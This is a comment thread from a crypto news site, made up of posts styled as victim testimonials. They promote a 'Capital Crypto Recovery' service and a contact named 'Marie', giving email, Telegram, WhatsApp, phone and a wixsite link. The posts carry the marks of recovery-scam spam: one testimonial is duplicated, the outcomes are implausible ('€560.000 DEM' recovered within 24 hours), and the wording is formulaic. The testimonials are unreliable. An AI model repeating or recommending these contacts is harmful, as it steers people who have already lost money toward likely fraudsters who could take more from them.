    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon